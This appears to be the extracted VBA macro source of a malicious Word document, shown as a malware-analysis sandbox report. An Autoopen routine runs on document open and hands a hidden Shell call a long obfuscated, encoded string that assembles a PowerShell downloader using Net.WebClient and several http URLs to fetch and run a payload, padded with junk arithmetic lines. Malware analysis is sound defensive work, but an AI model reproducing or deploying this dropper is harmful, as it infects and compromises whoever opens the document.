zYvnik = Fix(60759 / CSng(6057) * tHThZj * XasiTo)
VhBn = CDate(48963)
PUFilJw = "AOQAyAH0AewAzAD" + "MAfQB7" + "ADcANwB9AHsAMQ" + "AxADAAfQB7ADEAN" + "AAzAH0AewAx" + "ADAAOAB9AHsAMQ" + "AyADgAfQB7ADMAM" + "QB9AHsAMQAxAH0" + "AewAxADIA" + "NgB9AHsANQ"
AJHEY = Fix(67025 / CSng(2862) * zrFNS * lNqOk)
VhBn = CDate(51385)
VQlYJUsGv = "A3AH0Ae" + "wAxADEAOQ" + "B9AHsANAA1AH0Ae" + "wAxADIAMQB9A" + "HsANgB9AHsAMQ" + "AxADMAfQB" + "7ADgANQB9AH" + "sAMQAwADQAfQB7A"
ffBDsrAVN = SWPqcpMK + SThfdGTlv + PWjUoKB + PUFilJw + VQlYJUsGv
End Function
Function HWcBzUvV()
On Error Resume Next
XwSjF = Fix(18380 / CSng(22002) * YfLzom * dafwr)
VhBn = CDate(79399)
izENaz = "DQAOQB9" + "AHsAM" + "QA1ADUAfQB7A" + "DIAMQB9"
pUWTz = Fix(80230 / CSng(60463) * EEwDdL * VSZqaZ)
VhBn = CDate(23324)
RhIzwkHKUS = "AHsAOAAyAH0A" + "ewAxADAAfQB" + "7ADEANQA" + "3AH0AewA4ADcA" + "fQB7ADg" + "ANAB9AHsANQA4AH"
NikMkP = Fix(68641 / CSng(76589) * OBIzMm * VLfaH)
VhBn = CDate(1389)
NtrDiQNd = "0AewA2AD" + "QAfQB" + "7ADEAMQA0AH0Aew" + "AxADQ" + "AOAB9AHsAMQA0A" + "DcAfQB7ADEAMQAx" + "AH0AewA2ADYA" + "fQB7ADEAMgA3AH0" + "AewA0ADIA" + "fQB7ADcA"
JNnEMX = Fix(3456 / CSng(27581) * daIoOd * dUQPob)
VhBn = CDate(6165)
HioTwtsmm = "OAB9AHsAMQAw" + "ADcAf" + "QB7ADcANg" + "B9AHsANwA"
JjPUPt = Fix(71991 / CSng(74540) * tbzwK * QhAFi)
VhBn = CDate(42929)
TCBjoKDhCO = "wAH0AewAxADUAMg" + "B9AHsAMwA5AH0Ae" + "wAyADkAfQB7AD" + "EAMAAwAH0Aew" + "AxADEAO" + "AB9AHsA" + "MQA1ADkAfQ" + "B7ADkAMAB9AHs" + "AMQAyAD"
zvsQC = Fix(11600 / CSng(82118) * whKuvj * hwCso)
VhBn = CDate(91584)
WWUDvK = "UAfQB7ADEAN" + "QAwAH0AewAzA" + "DYAfQ" + "B7ADEAM" + "AA2AH0AewAyAD"
niwSzz = Fix(66884 / CSng(77265) * YWFiT * zrfwcz)
VhBn = CDate(87237)
sQwoOaaI = "AAfQB7ADM" + "AfQB7AD" + "EAMQA2AH0Ae" + "wAxADMAMgB9AH" + "sAMQAzADYAfQ"
HWcBzUvV = izENaz + RhIzwkHKUS + NtrDiQNd + HioTwtsmm + TCBjoKDhCO + WWUDvK + sQwoOaaI
End Function
Function lYEXBd()
On Error Resume Next
CPqIzB = Fix(4657 / CSng(72955) * IDIOSj * qCHLl)
VhBn = CDate(47770)
nhsYF = "B7ADg" + "AMAB9AHsAN" + "QA2AH0Aew" + "AyADYAfQB7" + "ADkAMQB" + "9AHsAOAB9AH" + "sANgA4AH0AewAxA"
woFzLN = Fix(84864 / CSng(37529) * towDGr * mUmnwi)
VhBn = CDate(21922)
XiqdibvK = "DIAMg" + "B9AHsAMQAxADc" + "AfQB7ADEAMwAwAH" + "0AewA1A" + "DAAfQB7"
jHWFa = Fix(80646 / CSng(65673) * dYsUu * rYqpG)
VhBn = CDate(27637)
wcHtA = "ADYANQB" + "9AHsAMgAyAH0" + "AewA3AD" + "MAfQB7AD" + "YANwB9AHsANAA" + "3AH0AewA3ADkA" + "fQB7ADkANwB" + "9AHsANwAxAH"
WfBzS = Fix(40908 / CSng(82573) * kuTcsS * qmtHL)
VhBn = CDate(71454)
wVrWV = "0AewAyADgAfQB7A" + "DUAMQB9AH" + "sAOAA4AH0Ae" + "wAxADYAMAB9AH" + "sAMQAxADI" + "AfQB7ADE" + "ANgAzAH0AewA5"
fOWpk = Fix(55787 / CSng(26907) * HYzoKb * FHUrF)
VhBn = CDate(85274)
rzsrfnDC = "ADYAfQB7ADEAN" + "AA0AH0AewA4ADMA" + "fQB7ADEANgA" + "xAH0Ae" + "wA5AH0AewAyA" + "DMAfQB7ADMAOAB" + "9AHsAOQA" + "5AH0AewA" + "yAH0AewAxADYAMg"
YrBioi = Fix(5842 / CSng(91386) * CoDAnc * kNkmmu)
VhBn = CDate(61381)
udcrsu = "B9AHsANgAxA" + "H0AewAxAD" + "AAMgB9AHsAN" + "QA5AH0" + "AewAxAD" + "AAMwB9A" + "HsAMQA0ADYAf"
IbVhm = Fix(73729 / CSng(39513) * aApfnB * fuMZuz)
VhBn = CDate(13688)
jnsAuBbB = "QB7ADkAOAB9AHs" + "ANgAwAH0AewA3AH" + "0AewA3AD" + "UAfQB7ADQA" + "MAB9AHsAM" + "QAyAD" + "QAfQB7ADM"
hcdkdV = Fix(10478 / CSng(84580) * LzaMNV * MiIcA)
VhBn = CDate(96788)
lVBDKsv = "AMAB9AHsAMgA" + "0AH0AewAzA" + "DcAfQ" + "B7ADUAN" + "QB9AHsANwA0A" + "H0AewAxADMA" + "NwB9AHsAOQAzAH0" + "AewA1ADIAfQ"
lYEXBd = nhsYF + XiqdibvK + wcHtA + wVrWV + rzsrfnDC + udcrsu + jnsAuBbB + lVBDKsv
End Function
Function IZFTdQQ()
On Error Resume Next
qiYFra = Fix(40772 / CSng(72120) * BAnEJ * rKVIK)
VhBn = CDate(39029)
cwWitDHrwiM = "B7ADE" + "AMwAzAH0AewAxA" + "DkAfQB7ADEAMgA" + "5AH0Aew" + "AzADU" + "AfQB7AD" + "EANAAyAH0AewA1"
bcRZCM = Fix(23751 / CSng(83111) * aifmBE * NRJZt)
VhBn = CDate(48629)
BWZcYj = "ADQAfQB7AD" + "EANQA0AH0" + "AewA4ADEAfQB7A" + "DEAMAA5A"
ZQAKq = Fix(96247 / CSng(15221) * ncAHwn * XIZNX)
VhBn = CDate(49032)
MBaUO = "H0AewAx" + "ADMAOQB9AHsA" + "MQAyADMA" + "fQB7AD"
YWAmu = Fix(14535 / CSng(82972) * uwCPs * CBVtW)
VhBn = CDate(67542)
EXhjYPnH = "EANAAxAH0" + "AewAyADU" + "AfQB7ADgAOQB" + "9AHsANAAxAH0A" + "ewA5ADUAfQB7A" + "DEANQB9AHsANAB" + "9AHsAM" + "QA0AH0AewAxAD"
CluHcu = Fix(88112 / CSng(988) * jCmUr * KDDAAl)
VhBn = CDate(66017)
zqwXj = "MANAB9AH" + "sAMgA3AH0Aew" + "A0ADQAfQB7" + "ADEANAAwAH0Aew"
FjuKU = Fix(12821 / CSng(6947) * AqJVk * fRMzB)
VhBn = CDate(87859)
rAwwwdrJhSj = "A0ADMAfQB7AD" + "QAOAB9AHsAMQ" + "A1ADgAfQB7AD" + "EANAA5AH0Aew"
zcXQY = Fix(84434 / CSng(33975) * ViKUho * hkYtzM)
VhBn = CDate(2600)
FHioicG = "AxADUANgB9AHs" + "AMQAw" + "ADEAf" + "QB7ADYAMw" + "B9AHsANAA2AH" + "0AewA4A" + "DYAfQ" + "B7ADYA" + "OQB9AHsAMQ" + "AyADAAfQB7ADEAM"
IZFTdQQ = cwWitDHrwiM + BWZcYj + MBaUO + EXhjYPnH + zqwXj + rAwwwdrJhSj + FHioicG
End Function
Function VXcwzOQdrO()
On Error Resume Next
LVtDYl = Fix(76372 / CSng(6126) * opFDWt * OliiHz)
VhBn = CDate(2565)
GZiGhGFo = "wA1AH0AewA" + "xADMAfQB7ADEAO" + "AB9AHsAMQA1A" + "DMAfQ" + "B7ADcAMgB9AHs" + "ANQAzAH0AewAx" + "ADIAfQB7" + "ADYAMgB9" + "AHsAMwAyAH0"
REjbY = Fix(14524 / CSng(93402) * wjMui * tDifaj)
VhBn = CDate(84189)
jkptvbznFfa = "AewAwAH0AewA1AH" + "0AIgAgAC0AZgAnA" + "HQAYwBoAHsAfQA" + "nACwAJ" + "wB3AG4AcwAnAC" + "wAJwBvAFEAQABrA"
XLrcfL = Fix(65770 / CSng(43082) * LUqlUC * icsmH)
VhBn = CDate(45202)
ctDbUHQii = "CcALAA" + "nAHMAJwAsA" + "CcAcwBEACg" + "AawAnACwAJ" + "wB9ACcAL" + "AAnAHQA"
wRasa = Fix(93780 / CSng(54488) * VLihY * vclUcr)
VhBn = CDate(1966)
XvAfj = "JwAsACcAUQAgAC" + "sAIABrACcALAA" + "nAHoAeQ" + "AnACwAJwBRA"
oCYBWA = Fix(95588 / CSng(76832) * czBtL * SHZMm)
VhBn = CDate(98462)
Siakw = "C4AUwA" + "nACwAJwA9ACc" + "ALAAnAG8AJwAsAC" + "cAKQA7AGIA"
DmdbiA = Fix(12845 / CSng(32991) * fIXdXU * abbhF)
VhBn = CDate(12073)
isjDj = "JwAsACc" + "AdABlAG" + "0AawBvAFEA" + "KQAoAGsA" + "JwAsACcASQB3A" + "GEAcwAnAC" + "wAJwBkA" + "EYASQ" + "BBAEcATA"
XqkXTN = Fix(4697 / CSng(59811) * bIzlY * RzhozT)
VhBn = CDate(84774)
CNwDdC = "BsAGUAeAAnACwA" + "JwBrAG8AUQAnA" + "CwAJwBrAG8A" + "UQBuACcA" + "LAAnA" + "EkAdwAnACwAJ" + "wBmAGMAIAAnA"
hhwiz = Fix(70862 / CSng(22362) * ZwFFl * cnDcAu)
VhBn = CDate(93795)
pDDmZzUDvL = "CwAJwBuAGQAcwB" + "0AHIAYQAnACwAJ" + "wBuAHQAO" + "wBrAEkAdw"
YiAjJ = Fix(56901 / CSng(157) * JOfVC * ViDuCJ)
VhBn = CDate(68044)
ihUMwqU = "AnACwAJwAvA" + "C8AcwBsAHkAdA" + "AnACwAJwBw" + "AGwAJwAsACcA" + "awBvAC" + "cALAAnAEEARwB" + "MACcALAAnAC" + "8AQABo" + "AHQAdABwAD" + "oALwAnACw"
VXcwzOQdrO = GZiGhGFo + jkptvbznFfa + ctDbUHQii + XvAfj + Siakw + isjDj + CNwDdC + pDDmZzUDvL + ihUMwqU
End Function
Function Vvqnd()
On Error Resume Next
jSJTV = Fix(87966 / CSng(70543) * SzYNJ * hSbiR)
VhBn = CDate(16094)
QclwGjjQ = "AJwBzAEQAVAB" + "vAFMAJ" + "wAsACcAOg" + "AnACwAJwBuACcA" + "LAAnACAAK"
qaPvlS = Fix(48464 / CSng(48394) * snkVB * XpIGjo)
VhBn = CDate(91275)
AoRHuk = "ABrAG8AUQAuA" + "GUAeAAnAC" + "wAJwBlAGsAb" + "wBRACsAaw" + "AnACwAJwB"
wphFwk = Fix(36811 / CSng(39336) * bOpstY * bLvMEl)
VhBn = CDate(55403)
RGLUnUINz = "jAGEAJwAsACc" + "AbwBR" + "ACkAIAB" + "yAGEAbgBkAG" + "8AbQAnACwAJwB" + "rAEkAJwAsACcA" + "bgAnACwAJwAvAH" + "UAJwAsACcAUQA"
NzvlZL = Fix(53574 / CSng(99228) * rSGEMc * nXvJGM)
VhBn = CDate(81667)
oUuVjV = "rACcA" + "LAAnAGkAdA" + "AoACcALAAnAHQ" + "AdABwAD" + "oALwAvAH" + "UAcAB0AG8A" + "JwAsACcAUwBCAC" + "cALAAnAG4" + "AJwAsACcAQQAn" + "ACwAJwBpAEEAJw"
RYfVsj = Fix(56665 / CSng(22743) * trzoh * jzPuAa)
VhBn = CDate(34801)
wnzIAhdjs = "AsACcA" + "dAByA" + "EEAJwAsACcAUQ" + "AtAG8" + "AYgAnACwAJw" + "BJACcALAAnAG0A" + "LwAwAEY"
OjGYjp = Fix(36423 / CSng(63855) * ISTBj * GMOGu)
VhBn = CDate(21455)
fJKQRJmbWRN = "AegBKAEIAJwA" + "sACcAR" + "wBMAE4AZwB" + "4AHMARAAoAC" + "kALAA" + "gAGsAJw" + "AsACcAbQ" + "AuAE4AZQB0" + "AC4AVwBlACcALAA"
Vvqnd = QclwGjjQ + AoRHuk + RGLUnUINz + oUuVjV + wnzIAhdjs + fJKQRJmbWRN
End Function
Function AMTWlN()
On Error Resume Next
izFdP = Fix(20605 / CSng(83646) * qCztQ * lKwWtM)
VhBn = CDate(81263)
VSOLmmidGDv = "nAC8AJwAsACcA" + "LwAvACcALA" + "AnAGYAbwByA" + "CcALAAnAEMAJwA" + "sACcAQQBEAEMAW"
WOtzsI = Fix(65170 / CSng(72282) * YTtEH * DZIpj)
VhBn = CDate(35567)
kEPLlV = "AApAHsAd" + "AByAHkAJwAsACc" + "AawBvAFEAJwAs" + "ACcAMg" + "A4ACc" + "ALAAnAHcAawB"
UHPUV = Fix(3143 / CSng(34565) * Awfqdr * PSjkEi)
VhBn = CDate(52765)
kHnNGzid = "vAFEAKwBr" + "ACcALAAnAGEAZ" + "AAnACwAJwBJAHc" + "AZQBuAHYAOgBwAC" + "cALAAnAGsAbwAnA"
Xhirsw = Fix(71318 / CSng(43311) * WGumk * njTjX)
VhBn = CDate(40086)
orBFWAwsK = "CwAJwA7AGsASQA" + "nACwAJwByA" + "GUAYQBrAD" + "sAfQAnAC" + "wAJwBrAG8AU" + "QAnACwAJwBh" + "AHMAJwAsA"
NdcTJ = Fix(80469 / CSng(12489) * Nhshrn * KZnPcY)
VhBn = CDate(39095)
EJmhwDYzk = "CcAQABoA" + "HQAdABwAD" + "oAJwAs" + "ACcALAAgADI" + "AOAAyADEA"
wzfuw = Fix(7767 / CSng(71513) * EFJUAP * nvQHI)
VhBn = CDate(48250)
DzYYjcaVq = "MwAzACk" + "AOwAnACwAJwBvAC" + "cALAAnA" + "GsAJwAsACc" + "AbwBRACsAJwAs" + "ACcACgAnA" + "CwAJwBoAHQAdA" + "BwACcALAA" + "nAEQAJwAsACcAZ"
AMTWlN = VSOLmmidGDv + kEPLlV + kHnNGzid + orBFWAwsK + EJmhwDYzk + DzYYjcaVq
End Function
Function VtCKplYV()
On Error Resume Next
EskwV = Fix(89419 / CSng(93264) * sqtGf * duKuc)
VhBn = CDate(67134)
iEUQjZBd = "QBjAC4AYwAnACw" + "AJwBl" + "AGsAJwAsACcAS" + "QB3AE4A" + "JwAsACcAUQANACc" + "ALAAnADsAJwAsAC"
ciSpvA = Fix(99964 / CSng(39279) * QLzvs * KziqCw)
VhBn = CDate(24514)
XBXbYMijvsd = "cARABDACcAL" + "AAnAC8A" + "JwAsACcAVgBsAC" + "cALAAnAEkAdwAn" + "ACwAJwBO" + "AFMAQgAgACc" + "ALAAnAFYAUw" + "AyAC8Aa" + "wAnACwAJwBzAC" + "cALAAnAG8AUQAp"
aujCJ = Fix(634 / CSng(10656) * fqNcJ * Hauwn)
VhBn = CDate(61650)
nNnYOWcLf = "ACAAUw" + "B5AHMAdA" + "AnACwA" + "JwBuA" + "HYAbwBr" + "AG8AUQArAG" + "sAbwBRAGsAaw" + "AnACwAJwB3AG4" + "AJwAsACcAc"
hJkdq = Fix(70025 / CSng(21784) * ljrPO * vLzqUG)
VhBn = CDate(5890)
QvAUN = "wBtAHAAYQBk" + "ACcALAA" + "nAFcAJwAsACcA" + "QABoAH" + "QAdABwACcAL" + "AAnAC8Ab"
HhPdsr = Fix(14305 / CSng(93054) * Jjttl * YTPuAu)
VhBn = CDate(17970)
fJSJAJlhXfE = "QB1ACc" + "ALAAnAFEAdA" + "BrACcA" + "LAAnA" + "FEAKQA7ACc" + "ALAAnACAAJgA" + "nACwAJ"
NvZMO = Fix(93417 / CSng(11646) * ZWBBC * MrTFp)
VhBn = CDate(52468)
tMNFjbWLWG = "wBsAEEARwBM" + "AE8AYQAnACwA" + "JwBIACcALAAnAE" + "AAJwA" + "sACcATgBnA" + "CcALAAn"
VtCKplYV = iEUQjZBd + XBXbYMijvsd + nNnYOWcLf + QvAUN + fJSJAJlhXfE + tMNFjbWLWG
End Function
Function Uvmibf()
On Error Resume Next
iUwKMZ = Fix(44415 / CSng(8050) * CmwMC * Tfszzq)
VhBn = CDate(14375)
ivdXEkuozLC = "AGsAJwAs" + "ACcAZABlAHMAa" + "QBnAG4AYgB1" + "AGkAbABkAC4AY" + "wBvAG0ALwB" + "KAHYAJwAsAC"
rjwKH = Fix(47059 / CSng(51166) * Eimiaa * CXiOM)
VhBn = CDate(38407)
oGHtv = "cAKAAnACwAJ" + "wB3AFM" + "ARABDACAAPQ" + "AgAGsAJw" + "AsACcAdQAnAC" + "wAJwBlAC" + "cALAAnAC"
DpMdX = Fix(77109 / CSng(24926) * bsbwGa * OQfmI)
VhBn = CDate(64221)
LBfOzwvzEA = "sAawB" + "vAFEAdwAnACw" + "AJwBoAGwA" + "YQAnACwAJwBY" + "ACAAPQAgAGsAbw" + "AnACw" + "AJwBZAF"
aXIsd = Fix(80820 / CSng(54611) * buCcj * wdAmh)
VhBn = CDate(28864)
Qkhfrb = "UAJwAsACcAW" + "QBZAFUA" + "JwAsA" + "CcAawAnACw" + "AJwAwAD" + "AAMAAnAC" + "wAJwBv"
Uvmibf = ivdXEkuozLC + oGHtv + LBfOzwvzEA + Qkhfrb
End Function
Function WuFsQjtU()
On Error Resume Next
uDcTb = Fix(74289 / CSng(16495) * jaLhn * oViKW)
VhBn = CDate(25431)
irjbsplv = "AG0ALwAnACwAJwB" + "rACcALAAnAGQ" + "ALgBuAGUAJ" + "wAsACcA"
Rjviu = Fix(16575 / CSng(31916) * fzaSJj * jZCDT)
VhBn = CDate(95482)
CzrnYW = "bwBRAC" + "cALAA" + "nAHMAJwAsA" + "CcAaQAuAH" + "AAbAAnACwAJw" + "B3ADA" + "AJwAsACcAb" + "wAnACwAJ" + "wBrAG8AUQAn"
UrutsJ = Fix(15170 / CSng(41703) * KBvcXj * jirjEb)
VhBn = CDate(71932)
wzQRw = "ACwAJwBqAGUAYwA" + "nACwAJw" + "BvAG0AYQBu" + "ACcALAA" + "nAHMARAAnA" + "CwAJwAgACsAJ" + "wAsACc"
diVpF = Fix(16273 / CSng(37574) * NZLEjB * HiJXP)
VhBn = CDate(31931)
EbbwjCI = "AOgAnACwAJw" + "BRACcALAAn" + "AGsASQB" + "3ACcALAAnACAAPQ" + "AgAC4" + "AKABrAG8AUQBuAC" + "cALAAnA" + "GkAJwAsACcAL" + "wBsAGU"
DwzjV = Fix(48817 / CSng(53545) * otFfP * oSPTr)
VhBn = CDate(16131)
ppFfiW = "AbgBxAHgAJwAs" + "ACcAY" + "QBkAGEAcwBk" + "ACAAPQA" + "nACwAJwBl" + "AC4AJwAsACcA" + "ZQBhAGMAa"
DLcGfN = Fix(70936 / CSng(2372) * DVwOfY * WnuRwk)
VhBn = CDate(36003)
YvVwzsPdhb = "AAoAG" + "sASQB" + "3AGEAcwAnA" + "CwAJwBmA" + "GMALgB4ACcALAA" + "nAGUALQBJAC" + "cALAAnAGQAZQAvA" + "DYANwAnA" + "CwAJwBv"
ElHSMt = Fix(7987 / CSng(46629) * hzlWd * LqQtpj)
VhBn = CDate(61867)
sVqRX = "ACcALAAnAC" + "gAJwAsACcA" + "LgB4ACc" + "ALAAnAEc" + "ATAAnACwAJwB" + "EAG8AJwAsACcA"
WuFsQjtU = irjbsplv + CzrnYW + wzQRw + EbbwjCI + ppFfiW + YvVwzsPdhb + sVqRX
End Function
Function VzjQrN()
On Error Resume Next
iPctj = Fix(94526 / CSng(82361) * SsiBuG * oBzzq)
VhBn = CDate(63368)
StdtvYT = "IABrA" + "EkAdwAnACw" + "AJwBJA" + "HcAWQAnACwA" + "JwBPAEkAJw" + "AsACcAKwB" + "rAG8AUQBlAG"
nTszia = Fix(61063 / CSng(83860) * OYjdCj * XbRvjs)
VhBn = CDate(84786)
EQYbvNdkz = "sAJwAsA" + "CcAYgBs" + "AGkAYwAgACsAI" + "ABrAG8AUQBpAC" + "cALAAnAC" + "gAMQAwACcALAAnA" + "HgAdA" + "AnACwAJwBDACcA"
uFYbsq = Fix(73479 / CSng(79674) * wcIBi * QFbPP)
VhBn = CDate(56481)
wchupf = "LAAnA" + "C8AJwA" + "sACcALQB" + "vAGIAagBlAGMAa" + "wBvAFEAKw" + "BrAG8AJ" + "wAsAC" + "cAaAAnAC"
dPFBb = Fix(43302 / CSng(48756) * wvbQDc * Ezmci)
VhBn = CDate(28707)
URMOio = "wAJwBTA" + "CcALA" + "AnAHsAawAn" + "ACwAJwBiAEMAbAB" + "pAGUAJwAsACc" + "AKQA7ACYAJ" + "wAsACcAIA" + "BrAEkAJwAsACcAS"
aazpMB = Fix(81413 / CSng(10455) * cwjcJW * PPQjzj)
VhBn = CDate(64199)
BHotGFZ = "QB3AFMAR" + "AAnACwAJwB" + "aAFgALwAnACwAJw" + "B2AGE" + "AbgBj" + "AGUAL" + "gBjACcALAAnAG8" + "AJwAsA" + "CcAbwBRACkAJwAs"
fmOBbd = Fix(75349 / CSng(89545) * woiDlK * utSzR)
VhBn = CDate(36818)
kAbOcFuB = "ACcAZgAnAC" + "kAKQAuAHIARQBw" + "AGwAYQB" + "jAEUAKAAoAF" + "sAYwBI"
siIXMS = Fix(60016 / CSng(59915) * tMKZmp * zpEniV)
VhBn = CDate(83531)
oEsTjzLMN = "AEEAUgB" + "dADEA" + "MAA3ACsA" + "WwBjAEgAQ" + "QBSAF0ANwA"
dFrpGO = Fix(65906 / CSng(38137) * mVSSG * bQTulr)
VhBn = CDate(51821)
cihZFVcU = "zACsAWwBj" + "AEgAQQBSAF0AMQA" + "xADkAKQAsA" + "FsAUwB0" + "AHIAaQBuAGc" + "AXQBb" + "AGMASAB"
lFPTJN = Fix(60055 / CSng(41541) * qWtHa * ZjLswn)
VhBn = CDate(32491)
AKsDk = "BAFIAXQAzADYAKQ" + "AuAHIARQBw" + "AGwAY" + "QBjAEUAKAA" + "oAFsAYwBIAEEAU" + "gBdADYANQArAF" + "sAYwBIAEEAUgB" + "dADcAMQArAFsAY"
VzjQrN = StdtvYT + EQYbvNdkz + wchupf + URMOio + BHotGFZ + kAbOcFuB + oEsTjzLMN + cihZFVcU + AKsDk
End Function
Function nnYHlM()
On Error Resume Next
KtOcX = Fix(21276 / CSng(51821) * uCUGj * uYGjQw)
VhBn = CDate(53555)
FOvHEsYw = "wBIAEEAUg" + "BdADcANgApACwA" + "WwBTA" + "HQAcgBpAG4AZwBd" + "AFsAYwBIAEEAUg" + "BdADk" + "ANgApAC" + "4AcgBF" + "AHAAbABhAGMARQ" + "AoACgAWwBjAEgAQ"
MSBauN = Fix(50313 / CSng(98023) * zUjFau * IKwkbq)
VhBn = CDate(74405)
pjkjCiEsJ = "QBSAF0AMQ" + "AyADAAKwBbAGM" + "ASABBAFIAXQAx" + "ADEANQ" + "ArAFsAYwBIAEE" + "AUgBdADYAO" + "AApACwAWwBT" + "AHQAcgBp"
Gilmm = Fix(34154 / CSng(42831) * uOjvb * QNjvaX)
VhBn = CDate(73129)
EalTUrVi = "AG4AZ" + "wBdAF" + "sAYwB" + "IAEEAUgBdADMAN" + "AApAC4A" + "cgBFAHAAb" + "ABhAGMARQAoACgA" + "WwBjAEgAQQBSA" + "F0AMQA"
kUdVY = Fix(12316 / CSng(4108) * UWjjUL * nMKbCo)
VhBn = CDate(82579)
WGlCwHltXpb = "wADcAKwBb" + "AGMASA" + "BBAFIAXQAx" + "ADEAMQArAFsA" + "YwBIAE" + "EAUgBdADgA" + "MQApACwAWwBT" + "AHQAcgBpAG4A"
nnYHlM = FOvHEsYw + pjkjCiEsJ + EalTUrVi + WGlCwHltXpb
End Function
Function HoaiiwCQfJn()
On Error Resume Next
zJLtjE = Fix(60703 / CSng(31410) * iGzRJ * tPQDt)
VhBn = CDate(19632)
DGJQCIhN = "ZwBdAFsAY" + "wBIAE" + "EAUgBdAD" + "MAOQApAC4A" + "cgBFAHAAbA" + "BhAGMAR" + "QAoACcAaQBOAG" + "cAJwAsAFsAU"
ucFks = Fix(67645 / CSng(30266) * jLtaiL * MSmpF)
VhBn = CDate(32600)
HkXzYkcb = "wB0AHIAa" + "QBuAGcA" + "XQBbAGMA" + "SABBAFIAXQ" + "A5ADIAKQB8ACY" + "AIAAoACAAJABw" + "AFMAaABPAG0"
NNKivR = Fix(21645 / CSng(72957) * zjjPjn * MwATwu)
VhBn = CDate(7686)
JnfaPSMStUd = "ARQBbADQAXQArA" + "CQAcABTAEgA" + "bwBtAGUAWwAzA" + "DAAXQArACcAWA" + "AnACkA"
HoaiiwCQfJn = DGJQCIhN + HkXzYkcb + JnfaPSMStUd
End Function


Attribute VB_Name = "iFjDzREEwwOsZ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function inOYZpZbA()
On Error Resume Next
kSUvYz = Fix(17543 / CSng(4662) * AUHAkJ * idqLz)
VhBn = CDate(1534)
vjGOwM = Fix(55373 / CSng(18164) * DLJdI * vcjCPz)
VhBn = CDate(97451)
inOYZpZbA = ffBDsrAVN + HWcBzUvV + lYEXBd + IZFTdQQ + VXcwzOQdrO + Vvqnd + AMTWlN + VtCKplYV + Uvmibf + WuFsQjtU + VzjQrN + nnYHlM + HoaiiwCQfJn
TPhji = Fix(21695 / CSng(56777) * jkWZMS * MpFrOE)
VhBn = CDate(79945)
End Function
Sub Autoopen()
On Error Resume Next
ftAhOb = Fix(93385 / CSng(71366) * whmzPd * wcUiZG)
VhBn = CDate(66892)
FrStilC (inOYZpZbA)
ctXMK = Fix(16269 / CSng(68841) * doBpdd * GjzZd)
VhBn = CDate(58593)
End Sub
Function FrStilC(bsOAHXHiCp)
On Error Resume Next
jwMGsm = Fix(68274 / CSng(20353) * ZKjEV * jaoMk)
VhBn = CDate(17594)
rhnIWkbQfPp = YprmzwLatt + Shell(MQEYbqLTjsP + Chr(vbKeyP) + ozTWd + bsOAHXHiCp, vbHide)
OoVUN = Fix(27303 / CSng(91298) * jFnwJa * DPzNT)
VhBn = CDate(77227)
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.